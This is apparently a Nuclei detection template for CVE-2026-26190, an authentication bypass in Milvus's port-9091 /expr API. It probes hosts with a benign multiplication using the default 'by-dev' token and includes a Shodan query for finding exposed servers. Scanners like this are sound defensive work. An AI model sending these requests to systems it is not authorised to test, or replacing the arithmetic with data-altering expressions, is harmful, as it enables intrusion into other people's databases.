Milvus - Unauthenticated Metrics API Access

id: CVE-2026-26190

info:
  name: Milvus - Unauthenticated Metrics API Access
  author: WRG-11
  severity: critical
  description: |
    Milvus < 2.5.27 and < 2.6.10 contains an authentication bypass caused by weak default token and unauthenticated REST API on TCP port 9091, letting attackers perform arbitrary expression evaluation and data manipulation, exploit requires network access to port 9091.
  impact: |
    Attackers can bypass authentication to execute arbitrary expressions and manipulate data, risking full system compromise.
  remediation: |
    Update to versions 2.5.27 or 2.6.10 or later.
  reference:
    - https://github.com/milvus-io/milvus/security/advisories/GHSA-7ppg-37fh-vcr6
    - https://github.com/advisories/GHSA-7ppg-37fh-vcr6
    - https://nvd.nist.gov/vuln/detail/CVE-2026-26190
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-26190
    epss-score: 0.36912
    epss-percentile: 0.98418
    cwe-id: CWE-306
  metadata:
    verified: true
    max-request: 2
    vendor: milvus
    product: milvus
    shodan-query: 'http.html:"404 page not found" port:"9091"'
  tags: cve,cve2026,milvus,auth-bypass,unauth,vkev

variables:
  num1: "{{rand_int(40000, 44800)}}"
  num2: "{{rand_int(40000, 44800)}}"
  result: "{{to_number(num1)*to_number(num2)}}"

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /expr?auth={{randstr}}&code={{num1}}*{{num2}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        part: body
        words:
          - 'the expr auth is invalid'
        internal: true

  - raw:
      - |
        GET /expr?auth=by-dev&code={{num1}}*{{num2}} HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"output":"{{result}}"'

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100e730bf9780871076f5907a6af5f8f546df9f71972c060841eee5c2036348bba2022100a1b15b5b9653c665d223ae2a97633df4e5f0237e4850778b71fd544cd7e85355:922c64590222798bb761d5b6d8e72950